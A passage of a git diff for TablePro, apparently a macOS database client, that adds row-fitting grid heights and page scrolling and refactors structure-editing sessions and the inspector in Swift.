index 1ed325eb32..8f66e7123c 100644
--- a/apple/TablePro/Views/DataGrid/DataGridView.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridView.swift
@@ -16,7 +16,12 @@ struct DataGridView: View {
     var body: some View {
         VStack(spacing: 0) {
             DataGridFindBarSlot(model: model, find: model.find)
-            DataGridRepresentable(model: model)
+            if model.configuration.fitsRows {
+                DataGridRepresentable(model: model)
+                    .frame(height: model.fittingHeight)
+            } else {
+                DataGridRepresentable(model: model)
+            }
         }
     }
 }
diff --git a/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift b/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift
index ab5f2b8bd8..9553566c2e 100644
--- a/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridViewController+Changes.swift
@@ -41,6 +41,7 @@ extension DataGridViewController {
         applyRowNumberWidth()
         syncSortIndicators()
         redrawVisibleRows()
+        updateFittingHeight()
     }
 
     // MARK: - Structural changes
@@ -60,6 +61,7 @@ extension DataGridViewController {
         updateHighlightedColumns(model.selection)
         syncSortIndicators()
         startBackgroundPrewarm()
+        updateFittingHeight()
     }
 
     private func columnsDidChange() {
@@ -88,6 +90,7 @@ extension DataGridViewController {
         }
         applyRowNumberWidth()
         startBackgroundPrewarm()
+        updateFittingHeight()
     }
 
     private func removeRows(_ indexes: IndexSet) {
@@ -102,6 +105,7 @@ extension DataGridViewController {
             pane.tableView.removeRows(at: indexes, withAnimation: [])
         }
         applyRowNumberWidth()
+        updateFittingHeight()
     }
 
     private func updateRows(_ rows: IndexSet, columns displayColumns: IndexSet?) {
@@ -169,6 +173,31 @@ extension DataGridViewController {
                 pane.tableView.tile()
             }
         }
+        updateFittingHeight()
+    }
+
+    // The table's own header, rows and legacy scroller: what a fitsRows grid needs to show every row.
+    var measuredFittingHeight: CGFloat {
+        let table = main.tableView
+        return DataGridMetrics.fittingHeight(
+            headerHeight: table.headerView?.frame.height ?? 0,
+            rowCount: table.numberOfRows,
+            rowPitch: table.rowHeight + table.intercellSpacing.height,
+            horizontalScrollerHeight: main.scrollView.legacyHorizontalScrollerHeight
+        )
+    }
+
+    // Published on the next turn: this runs inside SwiftUI updates and layout passes, which refuse a model change.
+    func updateFittingHeight() {
+        guard model.configuration.fitsRows, !isFittingHeightScheduled,
+              measuredFittingHeight != model.fittingHeight else { return }
+        isFittingHeightScheduled = true
+        DispatchQueue.main.async { [weak self] in
+            guard let self else { return }
+            self.isFittingHeightScheduled = false
+            guard self.model.mountedView === self, self.model.configuration.fitsRows else { return }
+            self.model.setFittingHeight(self.measuredFittingHeight)
+        }
     }
 
     // The clip view keeps its offset in points, so a new row height would otherwise bring other rows into view.
diff --git a/apple/TablePro/Views/DataGrid/DataGridViewController+Selection.swift b/apple/TablePro/Views/DataGrid/DataGridViewController+Selection.swift
index 7728930d6a..f3fb692a25 100644
--- a/apple/TablePro/Views/DataGrid/DataGridViewController+Selection.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridViewController+Selection.swift
@@ -180,10 +180,13 @@ extension DataGridViewController {
     func reveal(row: Int, displayColumn: Int?) {
         let table = main.tableView
         guard row >= 0, row < table.numberOfRows else { return }
-        table.scrollRowToVisible(row)
-        if let displayColumn {
-            revealColumn(displayColumn)
+        revealingInGrid {
+            table.scrollRowToVisible(row)
+            if let displayColumn {
+                revealColumn(displayColumn)
+            }
         }
+        revealOnPage(table.rect(ofRow: row))
     }
 
     // Horizontal only; a frozen column is on screen at every offset.
@@ -193,7 +196,46 @@ extension DataGridViewController {
               let index = main.tableIndex(forDisplayPosition: displayColumn, columns: model.columns) else { return }
         let columnRect = table.rect(ofColumn: index)
         let visible = table.visibleRect
-        _ = table.scrollToVisible(NSRect(x: columnRect.minX, y: visible.midY, width: columnRect.width, height: 1))
+        revealingInGrid {
+            _ = table.scrollToVisible(NSRect(x: columnRect.minX, y: visible.midY, width: columnRect.width, height: 1))
+        }
+    }
+
+    private func revealingInGrid(_ body: () -> Void) {
+        let wasRevealing = isRevealingInGrid
+        isRevealingInGrid = true
+        body()
+        isRevealingInGrid = wasRevealing
+    }
+
+    // A grid sized to its rows shows them all, so a row it reveals is brought into view by the page it sits in.
+    // Kept until the grid has grown to a row it just took, since the page lays out after this turn.
+    // A reveal the grid cannot show within two turns is dropped, so a later layout never scrolls the page on its own.
+    func revealOnPage(_ rectInTable: NSRect) {
+        guard model.configuration.fitsRows, !isRevealingInGrid else { return }
+        pendingPageReveal = rectInTable
+        performPageReveal()
+        guard pendingPageReveal != nil else { return }
+        DispatchQueue.main.async { [weak self] in
+            DispatchQueue.main.async { [weak self] in
+                self?.performPageReveal()
+                self?.pendingPageReveal = nil
+            }
+        }
+    }
+
+    func performPageReveal() {
+        guard let rect = pendingPageReveal else { return }
+        let target = container.convert(rect, from: main.tableView)
+        let bounds = container.bounds
+        guard target.maxY <= bounds.maxY + 1 else { return }
+        pendingPageReveal = nil
+        let visible = container.visibleRect
+        guard target.minY < visible.minY || target.maxY > visible.maxY else { return }
+        // Kept within the grid's width: the grid already moved its columns, so the page moves only vertically.
+        let minX = min(max(target.minX, bounds.minX), bounds.maxX)
+        let maxX = max(min(target.maxX, bounds.maxX), minX)
+        _ = container.scrollToVisible(NSRect(x: minX, y: target.minY, width: maxX - minX, height: target.height))
     }
 
     func revealActiveCell() {
@@ -299,6 +341,9 @@ extension DataGridViewController {
         while let event = window.nextEvent(matching: [.leftMouseDragged, .leftMouseUp]) {
             if event.type == .leftMouseUp { break }
             _ = main.tableView.autoscroll(with: event)
+            if model.configuration.fitsRows {
+                _ = container.autoscroll(with: event)
+            }
             guard let cell = dragCell(at: event.locationInWindow, rowsOnly: drag.mode == .rows) else { continue }
             if drag.mode == .rows ? cell.row != start.row : cell != start {
                 moved = true
diff --git a/apple/TablePro/Views/DataGrid/DataGridViewController.swift b/apple/TablePro/Views/DataGrid/DataGridViewController.swift
index 3776585b3e..ea5af37b7b 100644
--- a/apple/TablePro/Views/DataGrid/DataGridViewController.swift
+++ b/apple/TablePro/Views/DataGrid/DataGridViewController.swift
@@ -36,6 +36,9 @@ final class DataGridViewController: NSViewController, DataGridMountedView {
     var prewarmTask: Task<Void, Never>?
     var prewarmResumeTask: Task<Void, Never>?
     var reorderToolTipOwner: NSString?
+    var isFittingHeightScheduled = false
+    var pendingPageReveal: NSRect?
+    var isRevealingInGrid = false
     private var observers: [NSObjectProtocol] = []
     private var cancellables: Set<AnyCancellable> = []
     private var themeCancellable: AnyCancellable?
@@ -109,6 +112,7 @@ final class DataGridViewController: NSViewController, DataGridMountedView {
         knownWidths = [:]
         knownWidthsSawRows = false
         savedWidthIDs = []
+        pendingPageReveal = nil
         mount()
     }
 
@@ -124,6 +128,7 @@ final class DataGridViewController: NSViewController, DataGridMountedView {
         prewarmTask = nil
         prewarmResumeTask?.cancel()
         prewarmResumeTask = nil
+        pendingPageReveal = nil
         observers.forEach(NotificationCenter.default.removeObserver)
         observers.removeAll()
         cancellables.removeAll()
@@ -153,6 +158,11 @@ final class DataGridViewController: NSViewController, DataGridMountedView {
             needsViewportRestore = false
             applyStagedViewport()
         }
+        updateFittingHeight()
+        if pendingPageReveal != nil {
+            // The page scrolls once its own layout is done, so its document already holds the grid's new height.
+            DispatchQueue.main.async { [weak self] in self?.performPageReveal() }
+        }
     }
 
     // MARK: - DataGridMountedView
@@ -297,6 +307,8 @@ final class DataGridViewController: NSViewController, DataGridMountedView {
             applyRowReorder(configuration.rowReorder, to: table)
         }
         main.tableView.setAccessibilityLabel(configuration.accessibilityLabel ?? String(localized: "Data grid"))
+        main.scrollView.fitsRows = configuration.fitsRows
+        container.followsPageScroll = configuration.fitsRows
         applyRowHeight()
     }
 
diff --git a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
index a201566f7c..e96674225f 100644
--- a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
+++ b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
@@ -553,15 +553,15 @@ struct MainEditorContentView: View {
     private func createTableContent(tab: QueryTab) -> some View {
         Group {
             if let draft = coordinator.createTableDrafts[tab.id] {
-                CreateTableView(
-                    connection: connection,
-                    scope: structureScope(for: tab),
-                    coordinator: coordinator,
-                    draft: draft
-                )
+                CreateTableView(draft: draft, coordinator: coordinator)
             } else {
                 Color.clear
-                    .onAppear { coordinator.createTableDrafts[tab.id] = CreateTableDraft() }
+                    .onAppear {
+                        coordinator.createTableDrafts[tab.id] = CreateTableDraft(
+                            connection: connection,
+                            scope: structureScope(for: tab)
+                        )
+                    }
             }
         }
         .id(tab.id)
@@ -576,13 +576,9 @@ struct MainEditorContentView: View {
         Group {
             if let session = coordinator.structureSessions[tab.id], session.identity == identity {
                 TableStructureView(
-                    tableName: tableName,
-                    connection: connection,
-                    databaseName: scope?.database ?? "",
-                    schemaName: scope?.schema,
+                    session: session,
                     toolbarState: coordinator.toolbarState,
-                    coordinator: coordinator,
-                    session: session
+                    coordinator: coordinator
                 )
             } else {
                 Color.clear
@@ -880,14 +876,12 @@ struct MainEditorContentView: View {
 
     private func statusBar(tab: QueryTab, selectedRowCount: Int) -> some View {
         let resolvedRows = resolvedTableRows(for: tab)
-        let structureFooter = coordinator.structureSessions[tab.id]?.footer ?? StructureFooterCapability()
         let isExecuting = coordinator.tabExecution.isBusy(tab.id)
         let snapshot = StatusBarSnapshot(
             tab: tab,
             tableRows: resolvedRows,
             displayRowCount: coordinator.displayIDs(forTab: tab.id)?.count,
             isFetching: isExecuting,
-            hasStructureActions: structureFooter.isActive,
             isQueryPlan: tab.display.activeExplainResult != nil,
             paginationCapability: coordinator.paginationCapability,
             hasServerOutput: !(tab.display.activeResultSet?.serverOutput.isEmpty ?? true),
@@ -935,7 +929,6 @@ struct MainEditorContentView: View {
                 onGoToPage: onGoToPage,
                 onRequestExactCount: { coordinator.paginationCoordinator.requestExactRowCount() }
             ),
-            structureFooter: structureFooter,
             execution: ExecutionReadout(
                 tabId: tab.id,
                 execution: coordinator.tabExecution,
@@ -956,9 +949,7 @@ struct MainEditorContentView: View {
                 }
             },
             onToggleFilters: { coordinator.toggleFilterPanel() },
-            onFetchAll: { coordinator.fetchAllRows() },
-            onStructureAdd: { coordinator.structureActions?.addRow?() },
-            onStructureRemove: { coordinator.structureActions?.removeRow?() }
+            onFetchAll: { coordinator.fetchAllRows() }
         )
     }
 
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift
index ad9c2ffc2a..be655cf9ae 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift
@@ -143,6 +143,8 @@ extension MainContentCoordinator {
         if let schemaModel = activeGridModelProvider(for: tab)?.activeGridModel {
             committed = schemaModel.commitEditing() && committed
         }
+        // A run of typing in the structure inspector ends, so the command's undo step stands apart from it.
+        activeStructureEditor?.commitPendingEdits()
         return committed
     }
 
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Protection.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Protection.swift
index 1be85f35cf..f7b85bde40 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Protection.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Protection.swift
@@ -1,9 +1,7 @@
 import AppKit
 import Foundation
 
-/// The single answer to "would closing or quitting destroy something the user cannot get back".
-/// The close path (one tab) and the quit path (every tab of every connection) previously each
-/// carried their own partial version of this and had drifted apart.
+// The one answer to "would closing or quitting destroy something the user cannot get back", for close and quit alike.
 extension MainContentCoordinator {
     var hasPendingDestructiveTableOps: Bool {
         guard let session = DatabaseManager.shared.session(for: connectionId) else { return false }
@@ -14,62 +12,34 @@ extension MainContentCoordinator {
         trailingPaneState?.inspector.editState.hasEdits ?? false
     }
 
-    /// Only the selected tab's editors are mounted, so only the selected tab has live state on the
-    /// coordinator to read.
+    // Only the selected tab's editors are mounted, so only it has live state on the coordinator.
     func isSelectedTab(_ tab: QueryTab) -> Bool {
         tabManager.selectedTabId == tab.id
     }
 
-    /// Work in one tab that only saving can recover.
-    ///
-    /// Where that work lives depends on whether the tab is selected, because a tab's editors are
-    /// mounted only while it is. The selected tab's live edits sit on the coordinator, in
-    /// `changeManager` and `toolbarState`; a background tab carries whatever was snapshotted into
-    /// `pendingChanges` the last time it was switched away from. Reading the snapshot for the
-    /// selected tab answers "no" for the gesture users make most, editing a cell and closing the
-    /// tab they are looking at, because nothing has switched away to write the snapshot yet.
-    ///
-    /// Connection-scoped work is deliberately absent. A staged TRUNCATE or an unsaved sidebar edit
-    /// belongs to the connection rather than to any one tab, so letting it gate a tab's close would
-    /// pose a question neither Save nor Don't Save could answer for the tab being closed.
-    ///
-    /// A scratch query tab is absent too, and that one is a decision rather than an omission: its
-    /// text is persisted with the tab and filed in `RecentlyClosedTabStore` on close, so it comes
-    /// back. Grid edits do not. `TabChangeSnapshot` is not `Codable` and `PersistedTab` carries no
-    /// change fields, so closing a table tab is the one gesture that destroys them for good.
+    // Connection-scoped work (a staged TRUNCATE, a sidebar edit) is left out: no tab's Save or Don't Save answers it.
+    // A scratch query's text is left out too: it is persisted and comes back from Reopen Closed Tab.
     func hasUnsavedWork(in tab: QueryTab?) -> Bool {
         guard let tab else { return false }
         return savability(of: tab) != .nothingAtRisk
     }
 
-    /// Whether one tab, named by id, is holding work a move would lose.
-    ///
-    /// Detaching a tab into its own window carries the `QueryTab` and nothing the coordinator holds
-    /// beside it, so this is what the command reads before offering itself. An id that names no tab
-    /// answers true: refusing a move is recoverable, performing one on a tab this window cannot see
-    /// is not.
+    // An unknown id answers true: refusing a move is recoverable, moving a tab this window cannot see is not.
     func hasUnsavedWork(forTab id: UUID) -> Bool {
         guard let tab = tabManager.tabs.first(where: { $0.id == id }) else { return true }
         return savability(of: tab) != .nothingAtRisk
     }
 
-    /// What a save can actually do for one tab, which is not the same question as whether it holds
-    /// work. A batch close asks both: it saves what it can reach and leaves the rest open, so the
-    /// two answers have to come from one switch. Reading the categories apart, in a second
-    /// classifier beside this one, is how the alert and the save came to disagree about what Save
-    /// covers.
+    // One switch answers both "holds work" and "can Save reach it", so a batch close's alert and save cannot disagree.
     enum TabWorkSavability: Equatable {
         case nothingAtRisk
-        /// Reachable without the tab on screen: its file, and the ALTERs staged in its own session.
+        // Reachable without the tab on screen: its file, and the ALTERs staged in its own session.
         case saveable
-        /// Only the tab's own editors can save it: grid edits, staged principals, a table draft.
+        // Only the tab's own editors can save it: grid edits, staged principals, a table draft.
         case mountedOnly
     }
 
-    /// The unreachable kinds are asked about first. A tab can hold more than one: a query opened
-    /// from a file, edited, with unsaved cell edits in its result. Answering `.saveable` for the file
-    /// would let a close write the file and destroy the grid edits beside it, which is the loss this
-    /// category exists to prevent.
+    // Unreachable kinds first: answering `.saveable` for a dirty file would let a close drop the grid edits beside it.
     func savability(of tab: QueryTab) -> TabWorkSavability {
         guard isSelectedTab(tab) else {
             switch tab.tabType {
@@ -90,12 +60,7 @@ extension MainContentCoordinator {
         tab.content.isFileDirty ? .saveable : .nothingAtRisk
     }
 
-    /// The selected tab's editors are mounted, so everything they hold is reachable and saving the
-    /// selected tab covers all of it. A deselected tab left its editors behind, which is why
-    /// `savability` answers for it from what they wrote down before they went: users and roles keeps
-    /// its own record because its view model outlives the view while `usersRolesActions` does not,
-    /// so the staged principals survive a deselect even though nothing on the coordinator can still
-    /// reach them to apply.
+    // Users & Roles keeps its own record because its view model outlives `usersRolesActions`.
     private func liveUnsavedWork(in tab: QueryTab) -> Bool {
         switch tab.tabType {
         case .usersRoles:
@@ -104,15 +69,12 @@ extension MainContentCoordinator {
             return toolbarState.hasCreateTablePending || hasTableDraftWork(in: tab)
         default:
             return changeManager.hasChanges
-                || toolbarState.hasStructureChanges
                 || hasStagedStructureEdits(in: tab)
                 || hasStagedTypeChanges(in: tab)
         }
     }
 
-    /// Staged ALTERs read from the tab's own session rather than from `toolbarState`, which only
-    /// ever describes the tab on screen. A background tab keeps its session, so this is the only
-    /// answer that holds once the user has switched away from it.
+    // Read from the tab's session, mounted or not, so it holds in Data view and in a background tab.
     func hasStagedStructureEdits(in tab: QueryTab) -> Bool {
         (structureSessions[tab.id]?.changeManager.hasChanges ?? false)
             || (erDiagramModels[tab.id]?.holdsUnsavedWork ?? false)
@@ -131,19 +93,12 @@ extension MainContentCoordinator {
         createTableDrafts[tab.id]?.holdsWork ?? false
     }
 
-    /// The dot on the tab and in the window's close button. Deliberately broader than
-    /// `hasUnsavedWork(in:)`: a scratch query tab shows the dot because its text is unsaved, yet
-    /// closing it asks nothing because the text comes back. It is never narrower, so anything that
-    /// would raise the save prompt is marked before the user reaches for the close button.
+    // Never narrower than `hasUnsavedWork(in:)`; broader for a scratch tab, whose text is unsaved but comes back.
     func showsUnsavedIndicator(for tab: QueryTab) -> Bool {
         tab.showsUnsavedIndicator || hasUnsavedWork(in: tab)
     }
 
-    /// Pushes the selected tab's answer onto the window's close button.
-    ///
-    /// The editor's text binding does this on every keystroke, which covers typing. A command that
-    /// changes the text without going through that binding has to say so itself, or the dot
-    /// describes the tab as it was before the command ran.
+    // For changes that bypass the editor's text binding, which pushes the dot on every keystroke itself.
     func refreshUnsavedIndicator() {
         guard let tab = tabManager.selectedTab, let window = contentWindow else { return }
         let showsIndicator = showsUnsavedIndicator(for: tab)
@@ -156,13 +111,11 @@ extension MainContentCoordinator {
         changeManager.hasChanges
             || hasPendingDestructiveTableOps
             || hasSidebarEdits
-            || toolbarState.hasStructureChanges
             || toolbarState.hasCreateTablePending
             || tabManager.tabs.contains { hasUnsavedWork(in: $0) }
     }
 
-    /// Tabs resolved against live view state (cursor offset, sort column names) so a reopened tab
-    /// comes back where the user left it.
+    // Resolved against live view state (cursor, sort column names) so a reopened tab comes back where it was left.
     func tabsForRecoveryCapture() -> [QueryTab] {
         tabManager.tabs.map { enrichedForPersistence($0) }
     }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Refresh.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Refresh.swift
index 244e8e2069..3bc6fa3447 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Refresh.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Refresh.swift
@@ -58,7 +58,7 @@ extension MainContentCoordinator {
             return
         }
         if tab.display.resultsViewMode == .structure {
-            structureActions?.refresh?()
+            activeStructureSession?.refresh()
             return
         }
         reloadActiveTableData(hasPendingTableOps: hasPendingTableOps, onDiscard: onDiscard)
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+SQLPreview.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+SQLPreview.swift
index ff9cafde52..3d10617af6 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+SQLPreview.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+SQLPreview.swift
@@ -11,7 +11,7 @@ import TableProPluginKit
 extension MainContentCoordinator {
     // MARK: - SQL Preview
 
-    /// Routes SQL preview request to the appropriate handler based on current tab mode
+    // A Structure view with nothing staged previews the grid edits, which is what its Save would write.
     func handlePreviewSQL(
         pendingTruncates: Set<DatabaseTreeTableRef>,
         pendingDeletes: Set<DatabaseTreeTableRef>,
@@ -24,9 +24,10 @@ extension MainContentCoordinator {
         }
         if let tabId = tabManager.selectedTabId, userTypeEditors[tabId]?.hasChanges == true {
             previewUserTypeChanges(tabId: tabId)
-        } else if tabManager.selectedTab?.display.resultsViewMode == .structure {
-            // Structure view handles its own preview via direct call
-            structureActions?.previewSQL?()
+        } else if tabManager.selectedTab?.tabType == .createTable {
+            activeCreateTableDraft?.previewSQL(coordinator: self)
+        } else if let session = activeStructureSession, session.hasChanges {
+            session.previewChanges()
         } else {
             generatePreviewSQL(
                 pendingTruncates: pendingTruncates,
@@ -36,7 +37,6 @@ extension MainContentCoordinator {
         }
     }
 
-    /// Generate SQL preview of all pending changes with inlined parameters
     func generatePreviewSQL(
         pendingTruncates: Set<DatabaseTreeTableRef>,
         pendingDeletes: Set<DatabaseTreeTableRef>,
@@ -50,7 +50,9 @@ extension MainContentCoordinator {
             )
             toolbarState.previewStatements = plan.displayStatements
         } catch {
-            toolbarState.previewStatements = ["-- Error generating SQL: \(error.localizedDescription)"]
+            toolbarState.previewStatements = [
+                String(format: String(localized: "-- Error generating SQL: %@"), error.localizedDescription)
+            ]
         }
         activeSheet = .sqlPreview
     }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Structure.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Structure.swift
new file mode 100644
index 0000000000..c1eef9e90e
--- /dev/null
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+Structure.swift
@@ -0,0 +1,25 @@
+//
+//  MainContentCoordinator+Structure.swift
+//  TablePro
+//
+
+import Foundation
+
+extension MainContentCoordinator {
+    // The selected tab's structure session while its Structure view is on screen. Commands act on it; a session
+    // behind the Data view keeps its staged edits for the close prompt but takes no commands.
+    var activeStructureSession: StructureEditingSession? {
+        guard let tab = tabManager.selectedTab, tab.display.resultsViewMode == .structure else { return nil }
+        return structureSessions[tab.id]
+    }
+
+    var activeCreateTableDraft: CreateTableDraft? {
+        guard let tab = tabManager.selectedTab, tab.tabType == .createTable else { return nil }
+        return createTableDrafts[tab.id]
+    }
+
+    // Whichever structure editor is on screen, for the inspector.
+    var activeStructureEditor: StructureDefinitionEditor? {
+        activeStructureSession?.editor ?? activeCreateTableDraft?.editor
+    }
+}
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift
index 876e19e03a..b2bb6f89cc 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabClosing.swift
@@ -95,7 +95,6 @@ extension MainContentCoordinator {
         createTableDrafts.removeValue(forKey: tabId)
         erDiagramModels.removeValue(forKey: tabId)
         tabsWithStagedPrincipals.remove(tabId)
-        toolbarState.hasStructureChanges = false
         toolbarState.hasCreateTablePending = false
         toolbarState.hasPrincipalChanges = false
         toolbarState.hasTypeChanges = false
@@ -113,7 +112,6 @@ extension MainContentCoordinator {
         tableMetadataCache.removeValue(forKey: tab.id)
         guard isSelectedTab(tab) else { return }
         changeManager.clearChangesAndUndoHistory()
-        toolbarState.hasStructureChanges = false
         toolbarState.hasCreateTablePending = false
         toolbarState.hasPrincipalChanges = false
         toolbarState.hasTypeChanges = false
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift
index 66afcadb7a..b87f556999 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift
@@ -76,8 +76,8 @@ extension MainContentCoordinator {
         for tab in tabs {
             guard let session = structureSessions[tab.id] else { continue }
             let isOnScreen = tab.id == selectedId && tab.display.resultsViewMode == .structure
-            if isOnScreen, !session.changeManager.hasChanges, let refresh = structureActions?.refresh {
-                refresh()
+            if isOnScreen, !session.hasChanges {
+                session.refresh()
             } else {
                 session.markStructureStale()
             }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Bindings.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Bindings.swift
index 86bd465bca..3c82d37c5b 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentView+Bindings.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Bindings.swift
@@ -2,9 +2,6 @@
 //  MainContentView+Bindings.swift
 //  TablePro
 //
-//  Extension containing computed bindings for MainContentView.
-//  Extracted to reduce main view complexity.
-//
 
 import SwiftUI
 import TableProPluginKit
@@ -12,7 +9,8 @@ import TableProPluginKit
 extension MainContentView {
     // MARK: - Inspector Selection
 
-    // Whose rows the active grid model's selection indexes: the data tab's, a schema grid's, or nobody's.
+    // Whose rows the active grid model's selection indexes: the data tab's, a schema grid's, or nobody's. A schema
+    // grid's selection is drawn by the structure inspector, which observes its editor itself.
     var gridSelectionOwner: GridSelectionOwner {
         GridSelectionOwner.resolve(
             tabType: coordinator.tabManager.selectedTab?.tabType,
@@ -24,41 +22,27 @@ extension MainContentView {
         gridSelectionOwner == .dataGrid ? coordinator.activeGridModel : nil
     }
 
-    var selectedInspectorRow: InspectorRow? {
-        guard gridSelectionOwner == .schemaGrid,
-              let displayRow = coordinator.activeGridModel?.selection.affectedRows.first else { return nil }
-        return coordinator.inspectorRowSource?.inspectorRow(atDisplayRow: displayRow)
+    var structureInspectorSource: StructureInspectorSource? {
+        if let session = coordinator.activeStructureSession { return .table(session) }
+        if let draft = coordinator.activeCreateTableDraft { return .createTable(draft) }
+        return nil
     }
 
     // MARK: - Inspector Subject
 
     var hasInspectableRow: Bool {
-        switch gridSelectionOwner {
-        case .schemaGrid: return selectedInspectorRow != nil
-        case .dataGrid: return dataGridModel?.selection.isEmpty == false
-        case .none: return false
-        }
+        guard gridSelectionOwner == .dataGrid else { return false }
+        return dataGridModel?.selection.isEmpty == false
     }
 
-    // A schema grid's selection is a column definition with no position, so it is not named "Row 0 of 0".
     var inspectorSubject: InspectorSubject {
         switch gridSelectionOwner {
-        case .schemaGrid:
-            guard let row = selectedInspectorRow else {
-                guard let table = currentTab?.tableContext.tableName else { return .empty }
-                return .tableOnly(table: table)
-            }
-            let name = row.fields.first?.value ?? ""
-            return .columnDefinition(
-                column: name.isEmpty ? String(localized: "Column") : name,
-                table: currentTab?.tableContext.tableName
-            )
         case .dataGrid:
             guard let table = qualifiedTableName else {
                 return dataRowSubject(table: String(localized: "Result")) ?? .empty
             }
             return dataRowSubject(table: table) ?? .tableOnly(table: table)
-        case .none:
+        case .schemaGrid, .none:
             // A chart, a dashboard or a diagram owns no grid; the table is still the subject of its statistics.
             guard let table = qualifiedTableName else { return .empty }
             return .tableOnly(table: table)
@@ -109,9 +93,6 @@ extension MainContentView {
     // MARK: - Sidebar Edit State
 
     var isSidebarEditable: Bool {
-        if gridSelectionOwner == .schemaGrid {
-            return selectedInspectorRow?.isEditable ?? false
-        }
         guard let model = dataGridModel,
               let tab = coordinator.tabManager.selectedTab,
               tab.tabType == .table || tab.tableContext.tableName != nil,
@@ -176,7 +157,8 @@ extension MainContentView {
             metadataVersion: currentTab?.metadataVersion ?? -1,
             resultsViewMode: currentTab?.display.resultsViewMode ?? .data,
             inspectorRowSourceRevision: coordinator.inspectorRowSourceRevision,
-            gridDisplayRevision: coordinator.gridDisplayRevision
+            gridDisplayRevision: coordinator.gridDisplayRevision,
+            structureEditor: coordinator.activeStructureEditor.map { ObjectIdentifier($0) }
         )
     }
 }
@@ -188,6 +170,8 @@ struct InspectorTrigger: Equatable {
     let resultsViewMode: ResultsViewMode
     let inspectorRowSourceRevision: Int
     let gridDisplayRevision: Int
+    // A structure session or Create Table draft appears after its view first mounts, which moves nothing else here.
+    var structureEditor: ObjectIdentifier?
 }
 
 enum InspectorValueDisplayFormatResolver {
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+EventHandlers.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+EventHandlers.swift
index e7c1f83bff..2278ef0f22 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentView+EventHandlers.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentView+EventHandlers.swift
@@ -147,11 +147,9 @@ extension MainContentView {
     func updateSidebarEditState() {
         // A selection change, refresh or undo rebuilds the fields, so the typed run ends here, not in another row's step.
         coordinator.endInspectorEditRun()
+        // A structure definition is edited by the structure inspector, not the row fields.
         switch gridSelectionOwner {
-        case .schemaGrid:
-            updateSchemaSidebarEditState()
-            return
-        case .none:
+        case .schemaGrid, .none:
             clearSidebarEditState()
             return
         case .dataGrid:
@@ -307,36 +305,4 @@ extension MainContentView {
         trailingPaneState.inspector.editState.onFieldRemoved = nil
         trailingPaneState.inspector.editState.onDetachedFieldChanged = nil
     }
-
-    // Edits go back to the owning grid so they land in its change manager with one undo step, like an inline edit.
-    private func updateSchemaSidebarEditState() {
-        guard let displayRow = coordinator.activeGridModel?.selection.affectedRows.first,
-            let row = selectedInspectorRow
-        else {
-            clearSidebarEditState()
-            return
-        }
-
-        trailingPaneState.inspector.editState.configure(schemaFields: row.fields, displayRow: displayRow)
-
-        guard row.isEditable else {
-            clearSidebarEditHandlers()
-            return
-        }
-
-        let capturedCoordinator = coordinator
-        trailingPaneState.inspector.editState.onFieldExpressionChanged = nil
-        trailingPaneState.inspector.editState.onFieldValuesChanged = nil
-        trailingPaneState.inspector.editState.onFieldReverted = nil
-        trailingPaneState.inspector.editState.onFieldRemoved = nil
-        trailingPaneState.inspector.editState.onDetachedFieldChanged = nil
-        trailingPaneState.inspector.editState.onFieldChanged = { fieldIndex, newValue, _ in
-            capturedCoordinator.inspectorRowSource?.commitInspectorField(
-                displayRow: displayRow,
-                fieldIndex: fieldIndex,
-                value: newValue.asText
-            )
-            capturedCoordinator.inspectorRowSourceRevision += 1
-        }
-    }
 }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift
index 5e148f871e..961b683705 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift
